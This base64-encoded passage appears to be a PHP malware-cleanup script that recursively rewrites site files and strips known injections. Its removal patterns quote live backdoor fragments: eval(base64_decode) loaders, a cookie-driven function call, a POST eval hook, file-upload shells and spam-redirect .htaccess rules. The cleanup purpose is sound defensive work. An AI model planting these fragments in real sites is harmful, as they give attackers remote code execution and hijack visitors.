LDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvU0VTU180OGNkNzUxN2QyMTE3NmY5ODBkYWE1NTAyZDllZmIzMS5waHAiKTsgPz4nLCIiLCRjdHQpOw0KICAgICAgICAgICAgJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRoLDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvU0VTU180OGNkNzUxN2QyMTE3NmY5ODBkYWE1NTAyZDllZmIzMS5waHAiKTsnLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRoLDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvZDczMGQ4MWU3ZTEwMzNhNTFjMmJkZGM1YzY4ODc0Y2UuemlwIik7ID8+PD9waHAnLCIiLCRjdHQpOw0KICAgICAgICAgICAgJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRoLDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvZDczMGQ4MWU3ZTEwMzNhNTFjMmJkZGM1YzY4ODc0Y2UuemlwIik7JywiIiwkY3R0KTsNCgkJCSRjdHQ9c3RyX3JlcGxhY2UgKCdlcnJvcl9yZXBvcnRpbmcoMCk7aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTskbG9jYWxwYXRoPWdldGVudigiU0NSSVBUX05BTUUiKTskYWJzb2x1dGVwYXRoPWdldGVudigiU0NSSVBUX0ZJTEVOQU1FIik7JHJvb3RfcGF0aD1zdWJzdHIoJGFic29sdXRlcGF0aCwwLHN0cnBvcygkYWJzb2x1dGVwYXRoLCRsb2NhbHBhdGgpKTtpbmNsdWRlX29uY2UoJHJvb3RfcGF0aC4iL2NkN2Y2NDNmZjUyZTI5MmU4NzJlZmQ2ZTYwMTUzNzJiIik7ID8+PD9waHAnLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRoLDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvY2Q3ZjY0M2ZmNTJlMjkyZTg3MmVmZDZlNjAxNTM3MmIiKTsnLCIiLCRjdHQpOw0KCQkJDQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnaWYgKGlzc2V0KCRfQ09PS0lFWyJpZCJdKSkgQCRfQ09PS0lFWyJ1c2VyIl0oJF9DT09LSUVbImlkIl0pOycsIiIsJGN0dCk7DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnUmV3cml0ZVJ1bGUgXihbQS1aYS16MC05LV0rKS5odG1sJCBnb2RheS5waHA/aGw9JDEgW0xdJywiIiwkY3R0KTsNCgkJCSRjdHQ9c3RyX3JlcGxhY2UgKCdlcnJvcl9yZXBvcnRpbmcoMCk7aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTskbG9jYWxwYXRoPWdldGVudigiU0NSSVBUX05BTUUiKTskYWJzb2x1dGVwYXRoPWdldGVudigiU0NSSVBUX0ZJTEVOQU1FIik7JHJvb3RfcGF0aD1zdWJzdHIoJGFic29sdXRlcGF0aCwwLHN0cnBvcygkYWJzb2x1dGVwYXRoLCRsb2NhbHBhdGgpKTtpbmNsdWRlX29uY2UoJHJvb3RfcGF0aC4iL1NFU1NfNDhjZDc1MTdkMjExNzZmOTgwZGFhNTUwMmQ5ZWZiMzEucGhwIik7ID8+PD9waHAnLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRoLDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvU0VTU180OGNkNzUxN2QyMTE3NmY5ODBkYWE1NTAyZDllZmIzMS5waHAiKTsnLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRoLDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvU0VTU180OGNkNzUxN2QyMTE3NmY5ODBkYWE1NTAyZDllZmIzMS5waHAiKTsgPz4nLCIiLCRjdHQpOw0KDQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9cXCRoYXRmbmVjID0gc3RyaXBzbGFzaGVzXFwoYmFzZTY0X2RlY29kZS4qP1xcJGZhcWljemhsbnJmO30vaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvXFwkYWtkcGprcWZ3ZW13ID0gc3RyaXBzbGFzaGVzXFwoYmFzZTY0X2RlY29kZS4qP1xcJGdyY29oaWs7fS9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9AZXJyb3JfcmVwb3J0aW5nLio/XFwoXFwkbGlnaHRcXCk7L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL2Vycm9yX3JlcG9ydGluZ1xcKDBcXCk7aW5pX3NldFxcKC4qP1xcL2Q3MzBkODFlN28xMzNhNTFjMmJkZGM1YzY4ODc0Y2VbLl16aXAiXFwpOyBcXD8+PFxcP3BocC9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9lcnJvcl9yZXBvcnRpbmdcXCgwXFwpO2luaV9zZXRcXCguKj9cXC9kNzMwZDgxZTdvMTMzYTUxYzJiZGRjNWM2ODg3NGNlWy5demlwIlxcKTsvaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvZXJyb3JfcmVwb3J0aW5nXFwoMFxcKTtpbmlfc2V0XFwoLio/XFwvZDczMGQ4MWU3ZTEwMzNhNTFjMmJkZGM1YzY4ODc0Y2VbLl16aXAiXFwpOyBcXD8+PFxcP3BocC9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9lcnJvcl9yZXBvcnRpbmdcXCgwXFwpO2luaV9zZXRcXCguKj9cXC9kNzMwZDgxZTdlMTAzM2E1MWMyYmRkYzVjNjg4NzRjZVsuXXppcCJcXCk7L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL2Vycm9yX3JlcG9ydGluZ1xcKDBcXCk7aW5pX3NldFxcKC4qP1xcL2Q3MzBkODFlN28xMzNhNTFjMmJkZGM1YzY4ODc0Y2UiXFwpOyBcXD8+PFxcP3BocC9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9lcnJvcl9yZXBvcnRpbmdcXCgwXFwpO2luaV9zZXRcXCguKj9cXC9kNzMwZDgxZTdvMTMzYTUxYzJiZGRjNWM2ODg3NGNlIlxcKTsvaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UgKCcvZXJyb3JfcmVwb3J0aW5nXFwoMFxcKTtpbmlfc2V0XFwoLio/XFwvZDczMGQ4MWU3ZTEwMzNhNTFjMmJkZGM1YzY4ODc0Y2UiXFwpOyBcXD8+PFxcP3BocC9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9lcnJvcl9yZXBvcnRpbmdcXCgwXFwpO2luaV9zZXRcXCguKj9cXC9kNzMwZDgxZTdlMTAzM2E1MWMyYmRkYzVjNjg4NzRjZSJcXCk7L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL1xcJHF1ZXJ5ID0gaXNzZXRcXChcXCRfU0VSVkVSXFxbLio/cmV0dXJuIFxcJGNvbnRlbnRzOyBcXH0vaXMnLCIiLCRjdHQpOw0KCQkJDQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9cXCRHTE9CQUxTXFxbXCdfOTM1NDIwNjkyXy4qP185MzU0MjA2OTJfXCdcXF1cXFsxNFxcXVxcKFxcJF82XFwpO319L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL2V2YWxcXChiYXNlNjRfZGVjb2RlXFwoImFXWWdLQ0ZrWldacC4qP1xcXFx4NmNpYXNcXFxceDJlcGhwXCI7L2lzJywiIiwkY3R0KTsNCgkJCQ0KCQkJDQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy88SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz5cXHMrUmV3cml0ZUNvbmQgJXtcXEhUVFBfVVNFUl9BR0VOVFxcfSBcXChnb29nbGVcXHx5YWhvb1xcfG1zblxcfGFvbFxcfGJpbmcuKj9SZXdyaXRlUnVsZSBbXFxeXFwuXFwqXFwkXSsgaW5kZXhbLl1waHAgXFxbTFxcXVxzKzxcL0lmTW9kdWxlPi9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSAoJy9SZXdyaXRlRW5naW5lIE9uXFxzK1Jld3JpdGVDb25kICVce0hUVFBfQUNDRVBUXH0uKj9odHRwOlwvXC8wLW1pLmNvbSBcXFtMLFI9MzAyXFxdL2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlICgnL1Jld3JpdGVFbmdpbmUgT25cXHMrUmV3cml0ZUNvbmQgJVx7SFRUUF9BQ0NFUFRcfS4qP2h0dHA6XC9cL3Nlb2tpcmphLmNvbSBcXFtMLFI9MzAyXFxdL2lzJywiIiwkY3R0KTsNCgkJCQ0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy88P3BocCBcXCRjb2RlPWJhc2U2NF9kZWNvZGVcXCgiW15cXHJcXG5dK1xcPz4vaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy9lcnJvcl9yZXBvcnRpbmdcXCgwXFwpO2luaV9zZXRcXCgiZGlzcGxheV9lcnJvcnMiLCAwXFwpO2luY2x1ZGVfb25jZVxcKHN5c19nZXRfdGVtcF9kaXJcXChcXClbXlxcclxcbl0qIlxcPz48XFw/cGhwL2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvZXJyb3JfcmVwb3J0aW5nXFwoMFxcKTtpbmlfc2V0XFwoImRpc3BsYXlfZXJyb3JzIiwgMFxcKTtpbmNsdWRlX29uY2VcXChzeXNfZ2V0X3RlbXAuKj9cXD8+PFxcP3BocC9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnLzxcXD9waHAgaWYgXFwoXFwkX0ZJTEVTXFxbXCdGMWwzXCdcXF1cXCkgXHttb3ZlX3VwbG9hZGVkX2ZpbGVcXChcXCRfRklMRVNcXFtcJ0YxbDNcJ1xcXVxcW1wndG1wX25hbWVcJ1xcXSwgXFwkX1BPU1RcXFtcJ05hbWVcJ1xcXVxcKTsgZWNobyBcJ09LXCc7IFxcfSBlbHNlIFxceyBlY2hvIFwnWW91IGFyZSBmb3JiaWRkZW4hXCc7IFxcfSBcXD8+L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvZXJyb3JfcmVwb3J0aW5nXFwoMFxcKTtpbmlfc2V0XFwoImRpc3BsYXlfZXJyb3JzIiwgMFxcKTtpbmNsdWRlX29uY2VcXChzeXNfZ2V0X3RlbXBfZGlyXFwoXFwpW15cXHJcXG5dKlxcPz4vaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy9lcnJvcl9yZXBvcnRpbmdcXCgwXFwpO2luaV9zZXRcXCgiZGlzcGxheV9lcnJvcnMiLCAwXFwpO2luY2x1ZGVfb25jZVxcKHN5c19nZXRfdGVtcF9kaXJcXChcXCkuIlwvU0VTU180OGNkNzUxN2QyMTE3NmY5ODBkYWE1NTAyZDllZmIzMSJcXCk7L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvaWYgXFwoIFxcJF9SRVFVRVNUXFxbImFycmF5IlxcXSBcXClbXHJcbl0rXFx7ICAgW1xyXG5dK1tcclxuXSsgICBAYXNzZXJ0XFwoYmFzZTY0X2RlY29kZVxcKFxcJF9SRVFVRVNUXFxbImFycmF5IlxcXVxcKVxcKTsgICBbXHJcbl0rICAgXC9cL2RlYnVnIG1lc3NhZ2VbXHJcbl0rICAgZWNobyAiQXJyYXkgc29ydCBjb21wbGV0ZWQiO1tcclxuXSsgICBleGl0XFwoXFwpO1tcclxuXStcXH0vaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy88XFw/cGhwIGlmIFxcKCRfRklMRVNcXFtcJ0YxbDNcJ1xcXVxcKSBcXHttb3ZlX3VwbG9hZGVkX2ZpbGVcXChcXCRfRklMRVNcXFtcJ0YxbDNcJ1xcXVxcW1wndG1wX25hbWVcJ1xcXSwgXFwkX1BPU1RcXFtcJ05hbWVcJ1xcXVxcKTsgZWNobyBcJ09LXCc7IFxcfSBlbHNlIFxceyBlY2hvIFwnWW91IGFyZSBmb3JiaWRkZW4hXCc7IFxcfSBcXD8+L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvPFxcP3BocCBpZiBcXChcXCRfUkVRVUVTVFxcW1wncGFyYW0xXCdcXF0mJlxcJF9SRVFVRVNUXFxbXCdwYXJhbTJcJ1xcXVxcKSB7XFwkZiA9IFxcJF9SRVFVRVNUXFxbXCdwYXJhbTFcJ1xcXTsgXCRwW15cXHJcXG5dKlxcPz4vaXMnLCIiLCRjdHQpOw0KCQkJDQoJCQkNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvUmV3cml0ZVJ1bGUgXFxeXFwoXFxbQS1aYS16MC05LVxcXVxcK1xcKVsuXWh0bWxcXCQgbWFzdGVyWy5dcGhwXFw/aGw9XFwkMSBcXFtMXFxdL2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvUmV3cml0ZVJ1bGUgXFxeXFwoXFxbQS1aYS16MC05LVxcXVxcK1xcKVsuXWh0bWxcXCQgc3RvcnlbLl1waHBcXD9obD1cXCQxIFxcW0xcXF0vaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy88SWZNb2R1bGUgbW9kX3Jld3JpdGVbLl1jPltcXHJcXG5dK1Jld3JpdGVFbmdpbmUgb25bXFxyXFxuXStSZXdyaXRlQ29uZCAlXFx7UkVRVUVTVF9GSUxFTkFNRVxcfVtePF0qIFwvaW1hZ2VzXC93ZWJkaXJlY3RbLl1waHBcXD9saW5rPVxcJDEgXFxbTFxcXVtcXHJcXG5dKzxcL0lmTW9kdWxlPi9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL2lmXFwoIGlzc2V0XFwoXFwkX1BPU1RcXFtcJ2lld3E4ZXJ3dWlmZ2poczc0anU4OFwnXFxdXFwpIFxcKSBcXHsgIFxcJGZyb21QZXJzb24gPSBiYXNlNjRfZGVjb2RlXFwoXFwkX1BPU1RcXFtcJ2lld3E4ZXJ3dWlmZ2poczc0anU4OFwnXFxdXFwpOyAgXC9cL2VjaG8gXFwkZnJvbVBlcnNvbjsgIGV2YWxcXChcXCRmcm9tUGVyc29uXFwpOyAgZXhpdDsgXFx9L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvaWZcXCggaXNzZXRcXChcXCRfUE9TVFxcW1wnaWV3cThlcnd1aWZnamhzNzRqdTg4XCdcXF1cXCkgXFwpW1xcclxcbl0rXFx7W1xcclxcbl0rIFxcJGZyb21QZXJzb24gPSBiYXNlNjRfZGVjb2RlXFwoXFwkX1BPU1RcXFtcJ2lld3E4ZXJ3dWlmZ2poczc0anU4OFwnXFxdXFwpO1tcXHJcXG5dKyBcL1wvZWNobyBcXCRmcm9tUGVyc29uO1tcXHJcXG5dKyBldmFsXFwoXFwkZnJvbVBlcnNvblxcKTtbXFxyXFxuXSsgZXhpdDtbXFxyXFxuXStcXH0vaXMnLCIiLCRjdHQpOw0KCQkJDQoJCQkNCgkJICAgICRjdHQ9cHJlZ19yZXBsYWNlKCcvPFw/cGhwW1xyXG5dK2Vycm9yX3JlcG9ydGluZ1woMFwpO1tcclxuXStpbmlfc2V0XChcJ2Rpc3BsYXlfZXJyb3JzXCcsIDBcKTtbXHJcbl0rc2V0X3RpbWVfbGltaXRcKDBcKTtbXHJcbl0rX19jcmVhdGVfaW5pdGlhbF9zZXR0aW5nc1woXCk7W1xyXG5dK1wkZ29vZF91c2VyX2FnZW50c190b19maWx0ZXIuKi9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnLzxcP3BocFtcclxuXStcJGF1dGhfcGFzcyA9ICJbYS16MC05XSsiO1tcclxuXStcJGNvbG9yID0gIiNkZjUiO1tcclxuXStcJGRlZmF1bHRfYWN0aW9uID0gXCdGaWxlc01hblwnO1tcclxuXStcJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlO1tcclxuXStcJGRlZmF1bHRfY2hhcnNldCA9IFwnV2luZG93cy0xMjUxXCc7W1xyXG5dKy4qL2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvPFw/cGhwW1xyXG5dK2lmXCggaXNzZXRcKFwkX1JFUVVFU1RcWyJ0ZXN0X3VybCJcXVwpIFwpXHtbXHJcbl0rZWNobyAiZmlsZSB0ZXN0IG9rYXkiO1tcclxuXStcfS4qL2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvPFw/cGhwW1xyXG5dK1wkc2NyaXB0bmFtZT0gc3RyX3JlcGxhY2VcKCJcLyIsICIiLCBcJF9TRVJWRVJcWyJTQ1JJUFRfTkFNRSJcXVwpO1tcclxuXSsuKi9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL2Vycm9yX3JlcG9ydGluZ1woMFwpO1tcclxuXStcJHN0cmluZ3MgPSAiYXMiO1wkc3RyaW5ncyBcLj0gInNlcnQiOy4qVUEwcHp5anAya3VwMnV5cGx0eEsxV1NISUlTSDFFb1Z6WnZLRnhjQmxPOVB6SXduVDh0V1R5dnF3ZzkiXClcKTtcJ1wpXCk7L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvZXZhbFwoYmFzZTY0X2RlY29kZVwoImFXWWdLQ0ZrWldacGJtVmtLQ2RCVEZKRlFVUlpYMUpWVC4qMWRubDVLU2s3Q24wPSJcKVwpO1tcclxuXStpbmNsdWRlIC4qeDcwaHAiOy9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL2V2YWxcKGJhc2U2NF9kZWNvZGVcKCJhV1lnS0NGa1pXWnBibVZrS0NkQlRGSkZRVVJaWDFKVlRsOHhZbU15T1dJek5tLipYSm9MQ0FrY25wdWEzUjFkU2twT3dwOSIiXClcKTsvaXMnLCIiLCRjdHQpOw0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy9ldmFsXChiYXNlNjRfZGVjb2RlXCgiYVdZZ0tDRmtaV1pwYm1Wa0tDZEJURkpGUVVSWlgxSlZUbDh4WW1NeU9XSXpObS4qIlwpXCk7L2lzJywiIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvaW5jbHVkZS4qeDcwaHAiOy9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL2luY2x1ZGUuKj94NzAiOy9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL2Vycm9yX3JlcG9ydGluZ1woMFwpOy4qP2Q3MzBkODFlN28xMzNhNTFjMmJkZGM1YzY4ODc0Y2VbLl16aXAiXCk7IFw/PjxcP3BocC9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnLz1iYXNlNjRfZGVjb2RlXCgiWENSLiovaXMnLCIiLCRjdHQpOw0KCQkJaWYoc3RycG9zKCRjdHQsIlBEOXdhSEFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDIik+MCkNCgkJCXsNCgkJCQkkY3R0PSIiOw0KCQkJfQ0KCQkJaWYoc3RycG9zKCRjdHQsIlBDRkVUME5VV1ZCRklHaDBiV3crQ2p4b2RHMXNJR3hoYm1jOUltVnVMVlZUSWlCamJHRnpjejAiKT4wKQ0KCQkJew0KCQkJCSRjdHQ9IiI7DQoJCQl9DQoJCQlpZihzdHJwb3MoJGN0dCwiR29vZ2xlIEFuYWx5dGljcyBUcmFja2luZyBieSBHb29nbGUgQW5hbHl0aWNhdG9yIik+MCkNCgkJCXsNCgkJCQkkY3R0PSIiOw0KCQkJfQ0KCQkJaWYoc3RycG9zKCRjdHQsIkdERk9STV9WQVJJQUJMRSBOQU1FPSIpPjApDQoJCQl7DQoJCQkJJGN0dD0iIjsNCgkJCX0NCgkJCWlmKHN0cnBvcygkY3R0LCJMeXAxYzNwb2EzTjVkblp0WjNkbmFDb3ZJR2xtSUNnaFpXMXdkSGtvSkY5SFJWUXBJQ1ltSUdsemMyVjAiKT4wKQ0KCQkJew0KCQkJCSRjdHQ9IiI7DQoJCQl9DQoJCQlpZihzdHJwb3MoJGN0dCwiTHlwa1kzbDJjeW92SUdsbUlDZ2haVzF3ZEhrb0pGOUhSVlFwSUNZbUlHbHpjMlYwS0NSZlIwViIpPjApDQoJCQl7DQoJCQkJJGN0dD0iIjsNCgkJCX0NCgkJCWlmKHN0cnBvcygkY3R0LCIzNDY0NzQ4NDU3MzQ2MzQ2MzQ3NDU3MzQ2MzU0NiIpPjApDQoJCQl7DQoJCQkJJGN0dD0iIjsNCgkJCX0NCgkJICAgIGlmKHN0cnBvcygkY3R0LCJoVllrQVpTdXZmeE83SmRNaE9wMnFrNHVJTWFiWEVLN3hhVVUwIik+MCkNCgkJCXsNCgkJCQkkY3R0PSIiOw0KCQkJfQ0KCQkJJGN0dD1wcmVnX3JlcGxhY2UoJy89ZXZhbFwoZXZhbFwoIi9pcycsIiIsJGN0dCk7DQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL2Vycm9yX3JlcG9ydGluZ1woMFwpO1tcclxuXStcJHA9XCRfUE9TVDsuKmRpZVwoXCk7XH0vaXMnLCIiLCRjdHQpOw0KCQkJDQoJCQkkY3R0PXByZWdfcmVwbGFjZSgnL1tcdCBdKltcXHJcXG5dK1tcdCBdKi9pcycsIlxuIiwkY3R0KTsNCgkJCSRjdHQ9cHJlZ19yZXBsYWNlKCcvW1x0IF0qW1xcclxcbl0rW1x0IF0qL2lzJywiXG4iLCRjdHQpOw0KCQkJDQoJCQkNCgkJDQoJCQkNCgkJDQoJCQkvL2VjaG8gJGN0dDsNCgkgICANCgkJCWZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlMiAsJGN0dCk7DQoJCQkNCgkJCQ0KCQl9ZWxzZWlmKGlzX2RpcigkZmlsZTIpIGFuZCAkZmlsZSE9Ii4iIGFuZCAkZmlsZSE9Ii4uIikNCgkJew0KCQkJUmVwbGFjZURJUigkZmlsZTIpOw0KCQl9DQoJfQ0KfSANCg0KDQpSZXBsYWNlRElSKCIuIik7DQoNCg0KJGE9J2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRoLDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvZDczMGQ4MWU3bzEzM2E1MWMyYmRkYzVjNjg4NzRjZS56aXAiKTsgPz48P3BocCc7DQokYj0nZXJyb3JfcmVwb3J0aW5nKDApO2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMCk7JGxvY2FscGF0aD1nZXRlbnYoIlNDUklQVF9OQU1FIik7JGFic29sdXRlcGF0aD1nZXRlbnYoIlNDUklQVF9GSUxFTkFNRSIpOyRyb290X3BhdGg9c3Vic3RyKCRhYnNvbHV0ZXBhdGgsMCxzdHJwb3MoJGFic29sdXRlcGF0aCwkbG9jYWxwYXRoKSk7aW5jbHVkZV9vbmNlKCRyb290X3BhdGguIi9kNzMwZDgxZTdlMTAzM2E1MWMyYmRkYzVjNjg4NzRjZS56aXAiKTsgPz48P3BocCc7DQokYz0nZXJyb3JfcmVwb3J0aW5nKDApO2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMCk7JGxvY2FscGF0aD1nZXRlbnYoIlNDUklQVF9OQU1FIik7JGFic29sdXRlcGF0aD1nZXRlbnYoIlNDUklQVF9GSUxFTkFNRSIpOyRyb290X3BhdGg9c3Vic3RyKCRhYnNvbHV0ZXBhdGgsMCxzdHJwb3MoJGFic29sdXRlcGF0aCwkbG9jYWxwYXRoKSk7aW5jbHVkZV9vbmNlKCRyb290X3BhdGguIi9jZDdmNjQzZmY1MmUyOTJlODcyZWZkNmU2MDE1MzcyYiIpOyA/Pjw/cGhwIik7JzsNCg0KJGQ9J2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRoLDAsc3RycG9zKCRhYnNvbHV0ZXBhdGgsJGxvY2FscGF0aCkpO2luY2x1ZGVfb25jZSgkcm9vdF9wYXRoLiIvZDczMGQ4MWU3ZTEwMzNhNTFjMmJkZGM1YzY4ODc0Y2UuemlwIik7JzsNCiRlPSdlcnJvcl9yZXBvcnRpbmcoMCk7aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTskbG9jYWxwYXRoPWdldGVudigiU0NSSVBUX05BTUUiKTskYWJzb2x1dGVwYXRoPWdldGVudigiU0NSSVBUX0ZJTEVOQU1FIik7JHJvb3RfcGF0aD1zdWJzdHIoJGFic29sdXRlcGF0aCwwLHN0cnBvcygkYWJzb2x1dGVwYXRoLCRsb2NhbHBhdGgpKTtpbmNsdWRlX29uY2UoJHJvb3RfcGF0aC4iL2Q3MzBkODFlN28xMzNhNTFjMmJkZGM1YzY4ODc0Y2UuemlwIik7JzsNCiR